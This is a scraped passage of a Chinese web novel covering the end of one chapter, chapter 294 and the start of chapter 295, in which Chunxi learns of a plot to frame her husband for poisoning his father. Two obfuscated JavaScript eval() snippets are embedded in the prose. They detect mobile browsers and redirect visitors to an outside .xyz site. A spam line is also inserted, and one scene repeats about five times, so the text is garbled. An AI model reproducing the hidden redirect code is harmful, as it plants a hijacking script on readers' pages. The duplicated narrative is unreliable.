卫凌泽一路上游历山水,心境开阔不少,每日应酬交际,又恢复芝兰玉树的贵公子形象,好些女眷都对他一见倾心,来翁州不过几日,卫凌泽就恢复了许多自信,这段日子的颓废一扫而空,取而代之的是神采奕奕。 但每当夜深人静,想起瀚京发生的那些事,想起萧清禾决绝地与他和离,卫凌泽又会辗转难眠。 他整个人像是被分成了两半。 一半在瀚京颓丧泄气,一半在翁州高高在上、受人追捧。 而唯一能让他安枕,不至于被巨大的落差逼疯的,只有他从无忧阁买来的销魂香。 之前他只是偶尔用来助眠,如今却是离了它就睡不着了。 上次他买得不够多,只能传信回京,让行舟再去无忧阁多买一些派人送来。 只希望行舟动作能快一些,不要让他等太久。 现在只是想到销魂香很快就要用完了,卫凌泽就莫名的烦躁,感觉心脏像是在被无数只蚂蚁啃咬一般。 ** 清远侯和杳娘的婚礼定在四月初八。 虽然清远侯说婚礼要大办,但杳娘没有娘家人,清远侯的朋友也不多,沈家人倒是想叫上自己认识的人好好热闹显摆一番,但清远侯嫌那些人上不得台面,全都拒绝了。 最终敲定下来的宾客名单并不多。 杳娘一直还算安分,并没有提什么过分的要求,春喜便也敲打着沈家人,认认真真帮忙筹备婚礼。 临近婚礼,不想来回奔波,春喜索性和沈清渊一起住回侯府,沈清迟坐完月子,也带着孩子回了娘家。 虽然有沈金花和奶娘照顾着,沈清迟这个月子也没坐好。 她总是在哭,出了月子就得了迎风落泪的毛病,眼窝瘦得凹陷下去,背也跟着佝偻了些,没了之前被扶正的骄傲自信。 孩子是早产的,身体也弱,养了个把月,仍是瘦瘦小小的一只。 清远侯对沈清迟这个女儿没什么怜惜,看着瘦不拉几的外孙女更是喜欢不起来,他没给孩子准备见面礼,沈家众人就更不可能准备什么礼物了。 见过众人后,春喜带着母女俩去休息。 沈清迟出阁前住的院子被二叔一家占了,如今母女俩只能住客房。 快到客房时,沈清迟低低开口:“大嫂,对不起,之前是我错了。” 沈清迟低着头,眼眶 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 有些泛红,春喜没接话,只道:“婚礼的事全都安排好了,你带着孩子多在屋里休息吧,饭菜我会让人送到这里来。” “多谢大嫂,”沈清迟柔柔道谢,说完又补充道,“我听小姑说了,大嫂从回春堂买了不少滋补的东西给我,多亏了大嫂我才能熬过这一劫,多谢大嫂不计前嫌……” 沈清迟越说越羞愧,声音也越来越小。 春喜倒是神色如常,淡淡道:“我不是不计前嫌,只是觉得孩子是无辜的,那些东西是我给孩子的。” 春喜的语气冷淡,沈清迟噎了一下,片刻后又问:“大嫂之前说我如果有个好歹,会把孩子抱到自己名下养着是真的吗?” 春喜狐疑地看向沈清迟:“你问这个做什么?你不想活了?” “没有,我就是问问。” 沈清迟连连摇头,神情瞧着却有些恍惚。 春喜眉心微凝,过了会儿开口:“这孩子是太傅府的骨血,你若有事,理应由太傅府抚养,如果太傅府不愿意养,也该送回侯府,交由父亲和二弟三弟抚养,除非他们都不在了,这孩子才会落到你大哥和我名下。” 纵是血缘至亲,也有远近亲疏之分。 父亲和同胞兄长皆在,怎么也轮不到沈清渊和春喜来帮沈清迟养孩子。 沈清迟张张嘴,想说什么,却没发出声音,最后又向春喜道了一次谢,抱着孩子进了屋。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16165945|171571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 春喜觉得她的情况不太对,扭头去找了沈金花。 沈金花这段时间在太傅府也遭了不少白眼,一看到春喜就大吐苦水。 “这太傅府真不是人待的地方,他们知道生的是女儿,阖府上下没一个人来看她们娘俩,府里的下人也都处处怠慢,李继贤那个混账东西更是一声不吭跑去翁州逍遥,要不是我在,她们娘俩说不定都熬不到出月子。” 春喜知道沈清迟没生出儿子处境会变得艰难些,但没想到沈金花这个娘家小姑还在,太傅府的人连面子功夫都不做了。 思忖片刻,春喜问:“太傅府五夫人呢,她人不是很好吗,没照顾迟儿妹妹一些吗?” “她前几日倒是来看过她们娘俩一次,但是是空着手来的,什么东西都没带,我当时没在屋里,也没听到她们说啥,她走了以后,迟儿就老是抱着孩子流泪发呆,我劝也劝不住,索性不管了。” 沈金花说到最后也是止不住地叹气,沈清迟实在是太能哭了,莹儿如今也老是念叨着后悔,不该不自量力学人爬床,天天对着这么两张丧气的脸,沈金花感觉自己活着也没啥意思了。 春喜拿了一些银子给沈金花:“我知道小姑最近辛苦了,我刚刚看迟儿妹妹的样子不太对,还劳烦小姑多上点儿心看顾她一些。” 春喜出手挺大方的,但沈金花这会儿看着钱都有些提不起劲儿了,她深吸一口气,强打起精神:“我明白,阿喜你放心吧,苛待她们娘俩的是太傅府,她如果在侯府出事,那不就是让咱们背锅了嘛。” 沈金花要这么理解也没什么问题。 春喜没有解释,又叮嘱了几句才离开。 虽说沈家人为了捞好处把筹备婚礼的事都各自包揽了去,春喜还是有些累,她刚回院中坐了会儿,又有下人来报:“大少夫人,你娘家大哥来了,说有急事一定见你。” 春喜眼皮一跳,连忙让人把曹武带到前厅,她刚进厅,曹武便冲过来紧紧抓住她的手,低低道:“阿喜,有人要害你和妹夫!” 第294章 一孕傻三年 担心侯府隔墙有耳,春喜跟着曹武回了自己家才问:“大哥,到底发生什么事了?” 回来的路上曹武很是着急,这会儿要开口又有些为难。 他唇瓣嗫嚅,突然屈膝要给春喜跪下,春喜连忙扶住他:“大哥这是做什么,快起来!” 曹武块头大,春喜虽然有些力气,但也不太能拉得住他,只能皱眉大声吸了一口气。 曹武立刻紧张起来:“怎么了?可是动了胎气?” 说着话,曹武站起身,把春喜扶过去坐下,扭头又要去找大夫,春喜没好气地踢了他一脚:“我和肚子里的孩子没这么弱,我这几日忙得很,大哥要是不愿意说是谁要害我,那就回家去吧。” 春喜被曹武那一跪跪出了火气,语气不是很好,曹武见她生气,不敢再含糊,连忙道:“你大嫂之前不是去了太傅府做奶娘嘛,但后来那差事被人抢走了,她就带着正儿回家来了,前几日李婶来了咱家一趟,不知道跟你大嫂说了什么,你大嫂整个人就开始魂不守舍。” “昨日她把正儿烫伤了,我一时着急凶了她几句,她闹着要跟我和离,我俩大吵了一架,她激动之下说漏了嘴,说是你让你婆家小姑把这差事夺走的,还说妹夫为了保全自己的地位,给你公爹下了毒,害你公爹再生不出孩子,她要去官府揭发妹夫。” 说到最后,曹武声音渐弱,脸上臊得慌,他急急道:“阿喜,我肯定是相信你和妹夫的为人的,妹夫靠自己就能进入御史台,绝不可能为了世子之位毒害你公爹,你大嫂这个人就是耳根子太软了,别人说什么她就信什么,她这次非要和离我也不会拦着她……” 曹武嘴上说着愿意和离,眼眶却泛红。 他对钱氏是一见钟情,如今有了正儿,更是难以割舍,春喜打断他:“大哥,大嫂在太傅府做奶娘的差事的确是被我婆家小姑安排人抢走的,当时她跟我提过,我若开口,是可以帮大嫂保住这桩差事的。” 春喜的坦诚让曹武愣住,过了好一会儿他才找回自己的声音:“为什么呀?” “因为大嫂要照顾的那位太傅府四少夫人就是在背后撺掇别人**娘和正儿的人,出了这样的事,太傅府还愿意出高价聘大嫂做奶娘,大哥觉得正常吗?” 曹武的脸瞬间涨红,钱氏并未告诉他沈清迟的身份,若是早知道沈清迟就是害正儿和娘的人,他是绝对不会同意让钱氏去太傅府做事的。 曹武对钱氏的糊涂越发气愤,但又忍不住问春喜:“阿喜既然早就知道真相,为什么不早点告诉我? ” “大哥大嫂年长我一些,遇事会有自己的判断,无论从哪个角度看,我都没有资格对大哥大嫂指手画脚,而且夫君进了御史台,干的是得罪人的差事,以后难免在朝中树敌,这种事,我运气好拦得了一次两次,却不能次次都拦住。” 春喜语气平淡,没有丝毫对钱氏的怨怼,也无失望,曹武却觉得羞愧难当。 阿喜的出身本来就比妹夫差很多,会被人瞧不上,之前娘总是作妖,险些闯下大祸,如今钱氏这个做大嫂的又这样,说到底,还是他这个大哥没能当好家,不仅不能成为阿喜的靠山,还给阿喜拖了后腿。 沉默了一会儿,曹武哑声开口:“阿喜,大哥明白了,这件事大哥会处理好,不会让你大嫂出去瞎嚷嚷的,但这幕后之**哥没本事帮你查出来,你自己要多加小心。” 说完这话,曹武转身就要走,春喜叫住他:“大哥,谢谢你今天愿意来跟我说这些,我有夫君护着,不会有什么事的,大哥和大嫂已经有了正儿,我希望大哥莫要冲动,别因为我和大嫂离心。” 曹武没像之前那样哭哭啼啼,他点点头,眼神坚定道:“我明白,以后做事,我会想清楚再做决定的。” 曹武离开后,春喜没有急着回侯府,细细思索着曹武的话。 有人故意挑拨她和大嫂的关系,还想让大嫂去官府告发,那侯府之中至少会有一个内应。 精神恍惚的沈清迟自然是嫌疑最大的,但沈家其他人也不得不防。 沈清越和沈清宇跟他们一直都不对付,最近她睁一只眼闭一只眼,让沈家其他人捞了不少油水,但这些人不会因此就向着她,只要幕后之人承诺更大的好处,沈家人就会倒戈相向。 清远侯被下了绝嗣药是真的,但莫氏和亲信贾嬷嬷已死,好多事无从查证,若是婚礼当日清远侯出点儿什么意外,大夫当着一众宾客的面查出清远侯的身体有问题,沈家人再一致指认是沈清渊干的。 就算一时拿不出实证,有了毒害亲爹的嫌疑,沈清渊在御史台的职位恐怕也难保。 婚礼在即,春喜不可能临时叫停,沈家这么多人,短时间内她也策反不了,春喜想了很久也没想到什么破局之法。 沈清渊下值回来,就看到春喜蹙着眉坐在屋里,整个人如临大敌。 “发生什么事了,怎么这副表情?” 沈清渊第一时间走过来把春喜揽入怀中,春喜环住他的腰,迅速把今日发生的事说出来,最后她闷闷道:“对不起啊夫君,我想不到好的解决办法,” 话音刚落,沈清渊揉了揉春喜的脑袋:“别人都说一孕傻三年,我之前还觉得很夸张,今日见夫人为这等小事苦恼,我才知道传言非虚。” 春喜顾不上追问沈清渊是不是在骂自己变笨了,抬起头巴巴地看着他:“夫君有解决之法?” “有,”沈清渊点头,不等春喜追问,抢先道,“我让厨房再送些饭菜来,为夫陪夫人边吃边聊。” 沈清渊的淡定让春喜安下心来,她有些不好意思:“夫君怎么知道我没有吃晚饭?” 沈清渊挑眉,冷眼睨着她:“所以夫人晚饭一口没吃?” 春喜:“……” 夫君,我觉得你刚刚好像是在套我的话。 饭菜很快送来,春喜刚吃了一口就听到沈清渊说:“我有证据也有证人,婚礼当日,你只管保护好自己和腹中孩子,其他的事我来处理。” 春喜眼眸微亮,顿觉胃口大开,多吃了半碗米饭。 她怎么忘了,她家大人其实超级厉害呢? ” “大哥大嫂年长我一些,遇事会有自己的判断,无论从哪个角度看,我都没有资格对大哥大嫂指手画脚,而且夫君进了御史台,干的是得罪人的差事,以后难免在朝中树敌,这种事,我运气好拦得了一次两次,却不能次次都拦住。” 春喜语气平淡,没有丝毫对钱氏的怨怼,也无失望,曹武却觉得羞愧难当。 阿喜的出身本来就比妹夫差很多,会被人瞧不上,之前娘总是作妖,险些闯下大祸,如今钱氏这个做大嫂的又这样,说到底,还是他这个大哥没能当好家,不仅不能成为阿喜的靠山,还给阿喜拖了后腿。 沉默了一会儿,曹武哑声开口:“阿喜,大哥明白了,这件事大哥会处理好,不会让你大嫂出去瞎嚷嚷的,但这幕后之**哥没本事帮你查出来,你自己要多加小心。” 说完这话,曹武转身就要走,春喜叫住他:“大哥,谢谢你今天愿意来跟我说这些,我有夫君护着,不会有什么事的,大哥和大嫂已经有了正儿,我希望大哥莫要冲动,别因为我和大嫂离心。” 曹武没像之前那样哭哭啼啼,他点点头,眼神坚定道:“我明白,以后做事,我会想清楚再做决定的。” 曹武离开后,春喜没有急着回侯府,细细思索着曹武的话。 有人故意挑拨她和大嫂的关系,还想让大嫂去官府告发,那侯府之中至少会有一个内应。 精神恍惚的沈清迟自然是嫌疑最大的,但沈家其他人也不得不防。 沈清越和沈清宇跟他们一直都不对付,最近她睁一只眼闭一只眼,让沈家其他人捞了不少油水,但这些人不会因此就向着她,只要幕后之人承诺更大的好处,沈家人就会倒戈相向。 清远侯被下了绝嗣药是真的,但莫氏和亲信贾嬷嬷已死,好多事无从查证,若是婚礼当日清远侯出点儿什么意外,大夫当着一众宾客的面查出清远侯的身体有问题,沈家人再一致指认是沈清渊干的。 就算一时拿不出实证,有了毒害亲爹的嫌疑,沈清渊在御史台的职位恐怕也难保。 婚礼在即,春喜不可能临时叫停,沈家这么多人,短时间内她也策反不了,春喜想了很久也没想到什么破局之法。 沈清渊下值回来,就看到春喜蹙着眉坐在屋里,整个人如临大敌。 “发生什么事了,怎么这副表情?” 沈清渊第一时间走过来把春喜揽入怀中,春喜环住他的腰,迅速把今日发生的事说出来,最后她闷闷道:“对不起啊夫君,我想不到好的解决办法,” 话音刚落,沈清渊揉了揉春喜的脑袋:“别人都说一孕傻三年,我之前还觉得很夸张,今日见夫人为这等小事苦恼,我才知道传言非虚。” 春喜顾不上追问沈清渊是不是在骂自己变笨了,抬起头巴巴地看着他:“夫君有解决之法?” “有,”沈清渊点头,不等春喜追问,抢先道,“我让厨房再送些饭菜来,为夫陪夫人边吃边聊。” 沈清渊的淡定让春喜安下心来,她有些不好意思:“夫君怎么知道我没有吃晚饭?” 沈清渊挑眉,冷眼睨着她:“所以夫人晚饭一口没吃?” 春喜:“……” 夫君,我觉得你刚刚好像是在套我的话。 饭菜很快送来,春喜刚吃了一口就听到沈清渊说:“我有证据也有证人,婚礼当日,你只管保护好自己和腹中孩子,其他的事我来处理。” 春喜眼眸微亮,顿觉胃口大开,多吃了半碗米饭。 她怎么忘了,她家大人其实超级厉害呢? ” “大哥大嫂年长我一些,遇事会有自己的判断,无论从哪个角度看,我都没有资格对大哥大嫂指手画脚,而且夫君进了御史台,干的是得罪人的差事,以后难免在朝中树敌,这种事,我运气好拦得了一次两次,却不能次次都拦住。” 春喜语气平淡,没有丝毫对钱氏的怨怼,也无失望,曹武却觉得羞愧难当。 阿喜的出身本来就比妹夫差很多,会被人瞧不上,之前娘总是作妖,险些闯下大祸,如今钱氏这个做大嫂的又这样,说到底,还是他这个大哥没能当好家,不仅不能成为阿喜的靠山,还给阿喜拖了后腿。 沉默了一会儿,曹武哑声开口:“阿喜,大哥明白了,这件事大哥会处理好,不会让你大嫂出去瞎嚷嚷的,但这幕后之**哥没本事帮你查出来,你自己要多加小心。” 说完这话,曹武转身就要走,春喜叫住他:“大哥,谢谢你今天愿意来跟我说这些,我有夫君护着,不会有什么事的,大哥和大嫂已经有了正儿,我希望大哥莫要冲动,别因为我和大嫂离心。” 曹武没像之前那样哭哭啼啼,他点点头,眼神坚定道:“我明白,以后做事,我会想清楚再做决定的。” 曹武离开后,春喜没有急着回侯府,细细思索着曹武的话。 有人故意挑拨她和大嫂的关系,还想让大嫂去官府告发,那侯府之中至少会有一个内应。 精神恍惚的沈清迟自然是嫌疑最大的,但沈家其他人也不得不防。 沈清越和沈清宇跟他们一直都不对付,最近她睁一只眼闭一只眼,让沈家其他人捞了不少油水,但这些人不会因此就向着她,只要幕后之人承诺更大的好处,沈家人就会倒戈相向。 清远侯被下了绝嗣药是真的,但莫氏和亲信贾嬷嬷已死,好多事无从查证,若是婚礼当日清远侯出点儿什么意外,大夫当着一众宾客的面查出清远侯的身体有问题,沈家人再一致指认是沈清渊干的。 就算一时拿不出实证,有了毒害亲爹的嫌疑,沈清渊在御史台的职位恐怕也难保。 婚礼在即,春喜不可能临时叫停,沈家这么多人,短时间内她也策反不了,春喜想了很久也没想到什么破局之法。 沈清渊下值回来,就看到春喜蹙着眉坐在屋里,整个人如临大敌。 “发生什么事了,怎么这副表情?” 沈清渊第一时间走过来把春喜揽入怀中,春喜环住他的腰,迅速把今日发生的事说出来,最后她闷闷道:“对不起啊夫君,我想不到好的解决办法,” 话音刚落,沈清渊揉了揉春喜的脑袋:“别人都说一孕傻三年,我之前还觉得很夸张,今日见夫人为这等小事苦恼,我才知道传言非虚。” 春喜顾不上追问沈清渊是不是在骂自己变笨了,抬起头巴巴地看着他:“夫君有解决之法?” “有,”沈清渊点头,不等春喜追问,抢先道,“我让厨房再送些饭菜来,为夫陪夫人边吃边聊。” 沈清渊的淡定让春喜安下心来,她有些不好意思:“夫君怎么知道我没有吃晚饭?” 沈清渊挑眉,冷眼睨着她:“所以夫人晚饭一口没吃?” 春喜:“……” 夫君,我觉得你刚刚好像是在套我的话。 饭菜很快送来,春喜刚吃了一口就听到沈清渊说:“我有证据也有证人,婚礼当日,你只管保护好自己和腹中孩子,其他的事我来处理。” 春喜眼眸微亮,顿觉胃口大开,多吃了半碗米饭。 她怎么忘了,她家大人其实超级厉害呢? ” “大哥大嫂年长我一些,遇事会有自己的判断,无论从哪个角度看,我都没有资格对大哥大嫂指手画脚,而且夫君进了御史台,干的是得罪人的差事,以后难免在朝中树敌,这种事,我运气好拦得了一次两次,却不能次次都拦住。” 春喜语气平淡,没有丝毫对钱氏的怨怼,也无失望,曹武却觉得羞愧难当。 阿喜的出身本来就比妹夫差很多,会被人瞧不上,之前娘总是作妖,险些闯下大祸,如今钱氏这个做大嫂的又这样,说到底,还是他这个大哥没能当好家,不仅不能成为阿喜的靠山,还给阿喜拖了后腿。 沉默了一会儿,曹武哑声开口:“阿喜,大哥明白了,这件事大哥会处理好,不会让你大嫂出去瞎嚷嚷的,但这幕后之**哥没本事帮你查出来,你自己要多加小心。” 说完这话,曹武转身就要走,春喜叫住他:“大哥,谢谢你今天愿意来跟我说这些,我有夫君护着,不会有什么事的,大哥和大嫂已经有了正儿,我希望大哥莫要冲动,别因为我和大嫂离心。” 曹武没像之前那样哭哭啼啼,他点点头,眼神坚定道:“我明白,以后做事,我会想清楚再做决定的。” 曹武离开后,春喜没有急着回侯府,细细思索着曹武的话。 有人故意挑拨她和大嫂的关系,还想让大嫂去官府告发,那侯府之中至少会有一个内应。 精神恍惚的沈清迟自然是嫌疑最大的,但沈家其他人也不得不防。 沈清越和沈清宇跟他们一直都不对付,最近她睁一只眼闭一只眼,让沈家其他人捞了不少油水,但这些人不会因此就向着她,只要幕后之人承诺更大的好处,沈家人就会倒戈相向。 清远侯被下了绝嗣药是真的,但莫氏和亲信贾嬷嬷已死,好多事无从查证,若是婚礼当日清远侯出点儿什么意外,大夫当着一众宾客的面查出清远侯的身体有问题,沈家人再一致指认是沈清渊干的。 就算一时拿不出实证,有了毒害亲爹的嫌疑,沈清渊在御史台的职位恐怕也难保。 婚礼在即,春喜不可能临时叫停,沈家这么多人,短时间内她也策反不了,春喜想了很久也没想到什么破局之法。 沈清渊下值回来,就看到春喜蹙着眉坐在屋里,整个人如临大敌。 “发生什么事了,怎么这副表情?” 沈清渊第一时间走过来把春喜揽入怀中,春喜环住他的腰,迅速把今日发生的事说出来,最后她闷闷道:“对不起啊夫君,我想不到好的解决办法,” 话音刚落,沈清渊揉了揉春喜的脑袋:“别人都说一孕傻三年,我之前还觉得很夸张,今日见夫人为这等小事苦恼,我才知道传言非虚。” 春喜顾不上追问沈清渊是不是在骂自己变笨了,抬起头巴巴地看着他:“夫君有解决之法?” “有,”沈清渊点头,不等春喜追问,抢先道,“我让厨房再送些饭菜来,为夫陪夫人边吃边聊。” 沈清渊的淡定让春喜安下心来,她有些不好意思:“夫君怎么知道我没有吃晚饭?” 沈清渊挑眉,冷眼睨着她:“所以夫人晚饭一口没吃?” 春喜:“……” 夫君,我觉得你刚刚好像是在套我的话。 饭菜很快送来,春喜刚吃了一口就听到沈清渊说:“我有证据也有证人,婚礼当日,你只管保护好自己和腹中孩子,其他的事我来处理。” 春喜眼眸微亮,顿觉胃口大开,多吃了半碗米饭。 她怎么忘了,她家大人其实超级厉害呢? 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” “大哥大嫂年长我一些,遇事会有自己的判断,无论从哪个角度看,我都没有资格对大哥大嫂指手画脚,而且夫君进了御史台,干的是得罪人的差事,以后难免在朝中树敌,这种事,我运气好拦得了一次两次,却不能次次都拦住。” 春喜语气平淡,没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16165946|171571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有丝毫对钱氏的怨怼,也无失望,曹武却觉得羞愧难当。 阿喜的出身本来就比妹夫差很多,会被人瞧不上,之前娘总是作妖,险些闯下大祸,如今钱氏这个做大嫂的又这样,说到底,还是他这个大哥没能当好家,不仅不能成为阿喜的靠山,还给阿喜拖了后腿。 沉默了一会儿,曹武哑声开口:“阿喜,大哥明白了,这件事大哥会处理好,不会让你大嫂出去瞎嚷嚷的,但这幕后之**哥没本事帮你查出来,你自己要多加小心。” 说完这话,曹武转身就要走,春喜叫住他:“大哥,谢谢你今天愿意来跟我说这些,我有夫君护着,不会有什么事的,大哥和大嫂已经有了正儿,我希望大哥莫要冲动,别因为我和大嫂离心。” 曹武没像之前那样哭哭啼啼,他点点头,眼神坚定道:“我明白,以后做事,我会想清楚再做决定的。” 曹武离开后,春喜没有急着回侯府,细细思索着曹武的话。 有人故意挑拨她和大嫂的关系,还想让大嫂去官府告发,那侯府之中至少会有一个内应。 精神恍惚的沈清迟自然是嫌疑最大的,但沈家其他人也不得不防。 沈清越和沈清宇跟他们一直都不对付,最近她睁一只眼闭一只眼,让沈家其他人捞了不少油水,但这些人不会因此就向着她,只要幕后之人承诺更大的好处,沈家人就会倒戈相向。 清远侯被下了绝嗣药是真的,但莫氏和亲信贾嬷嬷已死,好多事无从查证,若是婚礼当日清远侯出点儿什么意外,大夫当着一众宾客的面查出清远侯的身体有问题,沈家人再一致指认是沈清渊干的。 就算一时拿不出实证,有了毒害亲爹的嫌疑,沈清渊在御史台的职位恐怕也难保。 婚礼在即,春喜不可能临时叫停,沈家这么多人,短时间内她也策反不了,春喜想了很久也没想到什么破局之法。 沈清渊下值回来,就看到春喜蹙着眉坐在屋里,整个人如临大敌。 “发生什么事了,怎么这副表情?” 沈清渊第一时间走过来把春喜揽入怀中,春喜环住他的腰,迅速把今日发生的事说出来,最后她闷闷道:“对不起啊夫君,我想不到好的解决办法,” 话音刚落,沈清渊揉了揉春喜的脑袋:“别人都说一孕傻三年,我之前还觉得很夸张,今日见夫人为这等小事苦恼,我才知道传言非虚。” 春喜顾不上追问沈清渊是不是在骂自己变笨了,抬起头巴巴地看着他:“夫君有解决之法?” “有,”沈清渊点头,不等春喜追问,抢先道,“我让厨房再送些饭菜来,为夫陪夫人边吃边聊。” 沈清渊的淡定让春喜安下心来,她有些不好意思:“夫君怎么知道我没有吃晚饭?” 沈清渊挑眉,冷眼睨着她:“所以夫人晚饭一口没吃?” 春喜:“……” 夫君,我觉得你刚刚好像是在套我的话。 饭菜很快送来,春喜刚吃了一口就听到沈清渊说:“我有证据也有证人,婚礼当日,你只管保护好自己和腹中孩子,其他的事我来处理。” 春喜眼眸微亮,顿觉胃口大开,多吃了半碗米饭。 她怎么忘了,她家大人其实超级厉害呢? ” “大哥大嫂年长我一些,遇事会有自己的判断,无论从哪个角度看,我都没有资格对大哥大嫂指手画脚,而且夫君进了御史台,干的是得罪人的差事,以后难免在朝中树敌,这种事,我运气好拦得了一次两次,却不能次次都拦住。” 春喜语气平淡,没有丝毫对钱氏的怨怼,也无失望,曹武却觉得羞愧难当。 阿喜的出身本来就比妹夫差很多,会被人瞧不上,之前娘总是作妖,险些闯下大祸,如今钱氏这个做大嫂的又这样,说到底,还是他这个大哥没能当好家,不仅不能成为阿喜的靠山,还给阿喜拖了后腿。 沉默了一会儿,曹武哑声开口:“阿喜,大哥明白了,这件事大哥会处理好,不会让你大嫂出去瞎嚷嚷的,但这幕后之**哥没本事帮你查出来,你自己要多加小心。” 说完这话,曹武转身就要走,春喜叫住他:“大哥,谢谢你今天愿意来跟我说这些,我有夫君护着,不会有什么事的,大哥和大嫂已经有了正儿,我希望大哥莫要冲动,别因为我和大嫂离心。” 曹武没像之前那样哭哭啼啼,他点点头,眼神坚定道:“我明白,以后做事,我会想清楚再做决定的。” 曹武离开后,春喜没有急着回侯府,细细思索着曹武的话。 有人故意挑拨她和大嫂的关系,还想让大嫂去官府告发,那侯府之中至少会有一个内应。 精神恍惚的沈清迟自然是嫌疑最大的,但沈家其他人也不得不防。 沈清越和沈清宇跟他们一直都不对付,最近她睁一只眼闭一只眼,让沈家其他人捞了不少油水,但这些人不会因此就向着她,只要幕后之人承诺更大的好处,沈家人就会倒戈相向。 清远侯被下了绝嗣药是真的,但莫氏和亲信贾嬷嬷已死,好多事无从查证,若是婚礼当日清远侯出点儿什么意外,大夫当着一众宾客的面查出清远侯的身体有问题,沈家人再一致指认是沈清渊干的。 就算一时拿不出实证,有了毒害亲爹的嫌疑,沈清渊在御史台的职位恐怕也难保。 婚礼在即,春喜不可能临时叫停,沈家这么多人,短时间内她也策反不了,春喜想了很久也没想到什么破局之法。 沈清渊下值回来,就看到春喜蹙着眉坐在屋里,整个人如临大敌。 “发生什么事了,怎么这副表情?” 沈清渊第一时间走过来把春喜揽入怀中,春喜环住他的腰,迅速把今日发生的事说出来,最后她闷闷道:“对不起啊夫君,我想不到好的解决办法,” 话音刚落,沈清渊揉了揉春喜的脑袋:“别人都说一孕傻三年,我之前还觉得很夸张,今日见夫人为这等小事苦恼,我才知道传言非虚。” 春喜顾不上追问沈清渊是不是在骂自己变笨了,抬起头巴巴地看着他:“夫君有解决之法?” “有,”沈清渊点头,不等春喜追问,抢先道,“我让厨房再送些饭菜来,为夫陪夫人边吃边聊。” 沈清渊的淡定让春喜安下心来,她有些不好意思:“夫君怎么知道我没有吃晚饭?” 沈清渊挑眉,冷眼睨着她:“所以夫人晚饭一口没吃?” 春喜:“……” 夫君,我觉得你刚刚好像是在套我的话。 饭菜很快送来,春喜刚吃了一口就听到沈清渊说:“我有证据也有证人,婚礼当日,你只管保护好自己和腹中孩子,其他的事我来处理。” 春喜眼眸微亮,顿觉胃口大开,多吃了半碗米饭。 她怎么忘了,她家大人其实超级厉害呢? ” “大哥大嫂年长我一些,遇事会有自己的判断,无论从哪个角度看,我都没有资格对大哥大嫂指手画脚,而且夫君进了御史台,干的是得罪人的差事,以后难免在朝中树敌,这种事,我运气好拦得了一次两次,却不能次次都拦住。” 春喜语气平淡,没有丝毫对钱氏的怨怼,也无失望,曹武却觉得羞愧难当。 阿喜的出身本来就比妹夫差很多,会被人瞧不上,之前娘总是作妖,险些闯下大祸,如今钱氏这个做大嫂的又这样,说到底,还是他这个大哥没能当好家,不仅不能成为阿喜的靠山,还给阿喜拖了后腿。 沉默了一会儿,曹武哑声开口:“阿喜,大哥明白了,这件事大哥会处理好,不会让你大嫂出去瞎嚷嚷的,但这幕后之**哥没本事帮你查出来,你自己要多加小心。” 说完这话,曹武转身就要走,春喜叫住他:“大哥,谢谢你今天愿意来跟我说这些,我有夫君护着,不会有什么事的,大哥和大嫂已经有了正儿,我希望大哥莫要冲动,别因为我和大嫂离心。” 曹武没像之前那样哭哭啼啼,他点点头,眼神坚定道:“我明白,以后做事,我会想清楚再做决定的。” 曹武离开后,春喜没有急着回侯府,细细思索着曹武的话。 有人故意挑拨她和大嫂的关系,还想让大嫂去官府告发,那侯府之中至少会有一个内应。 精神恍惚的沈清迟自然是嫌疑最大的,但沈家其他人也不得不防。 沈清越和沈清宇跟他们一直都不对付,最近她睁一只眼闭一只眼,让沈家其他人捞了不少油水,但这些人不会因此就向着她,只要幕后之人承诺更大的好处,沈家人就会倒戈相向。 清远侯被下了绝嗣药是真的,但莫氏和亲信贾嬷嬷已死,好多事无从查证,若是婚礼当日清远侯出点儿什么意外,大夫当着一众宾客的面查出清远侯的身体有问题,沈家人再一致指认是沈清渊干的。 就算一时拿不出实证,有了毒害亲爹的嫌疑,沈清渊在御史台的职位恐怕也难保。 婚礼在即,春喜不可能临时叫停,沈家这么多人,短时间内她也策反不了,春喜想了很久也没想到什么破局之法。 沈清渊下值回来,就看到春喜蹙着眉坐在屋里,整个人如临大敌。 “发生什么事了,怎么这副表情?” 沈清渊第一时间走过来把春喜揽入怀中,春喜环住他的腰,迅速把今日发生的事说出来,最后她闷闷道:“对不起啊夫君,我想不到好的解决办法,” 话音刚落,沈清渊揉了揉春喜的脑袋:“别人都说一孕傻三年,我之前还觉得很夸张,今日见夫人为这等小事苦恼,我才知道传言非虚。” 春喜顾不上追问沈清渊是不是在骂自己变笨了,抬起头巴巴地看着他:“夫君有解决之法?” “有,”沈清渊点头,不等春喜追问,抢先道,“我让厨房再送些饭菜来,为夫陪夫人边吃边聊。” 沈清渊的淡定让春喜安下心来,她有些不好意思:“夫君怎么知道我没有吃晚饭?” 沈清渊挑眉,冷眼睨着她:“所以夫人晚饭一口没吃?” 春喜:“……” 夫君,我觉得你刚刚好像是在套我的话。 饭菜很快送来,春喜刚吃了一口就听到沈清渊说:“我有证据也有证人,婚礼当日,你只管保护好自己和腹中孩子,其他的事我来处理。” 春喜眼眸微亮,顿觉胃口大开,多吃了半碗米饭。 她怎么忘了,她家大人其实超级厉害呢? 第295章 婚礼 侯府要办婚礼,沈清渊提前就告了假。 